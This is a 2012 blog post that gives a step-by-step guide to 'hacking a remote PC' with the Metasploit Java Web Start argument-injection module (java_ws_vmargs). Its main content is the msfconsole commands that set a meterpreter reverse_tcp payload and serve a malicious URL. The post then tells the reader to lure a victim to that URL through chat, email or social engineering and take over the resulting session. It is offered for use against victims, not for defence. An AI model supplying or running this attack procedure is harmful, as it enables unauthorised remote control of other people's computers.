Saturday, September 29, 2012

Hack Remote PC using Sun Java Command Line Injection

Sun Java Web Start Plugin Command Line Argument Injection

This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be run as root on a server that does not serve SMB. Additionally, the target host must have the Web Client service (WebDAV Mini-Redirector) enabled

Exploit Targets

0 – Automatic (default)

1 – Java Runtime on Windows x86

Requirement

Attacker: metasploit

Victim PC: Windows XP

Open backtrack terminal type

msfconsole

use exploit/windows/browser/java_ws_vmargs

Msf exploit(java_ws_vmargs)>set payload windows/meterpreter/reverse_tcp

Msf exploit (java_ws_vmargs)>set lhost 192.168.1.3(IP of Local Host)

Msf exploit (java_ws_vmargs)>set srvhost 192.168.1.3(This must be an address on the local machine)

Msf exploit (java_ws_vmargs)>set srvport 80

Msf exploit (java_ws_vmargs)>set uripath /(The Url to use for this exploit)

Msf exploit (java_ws_vmargs)>exploit

Now an URL you should give to your victim http://192.168.1.3/

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

No comments:

Post a Comment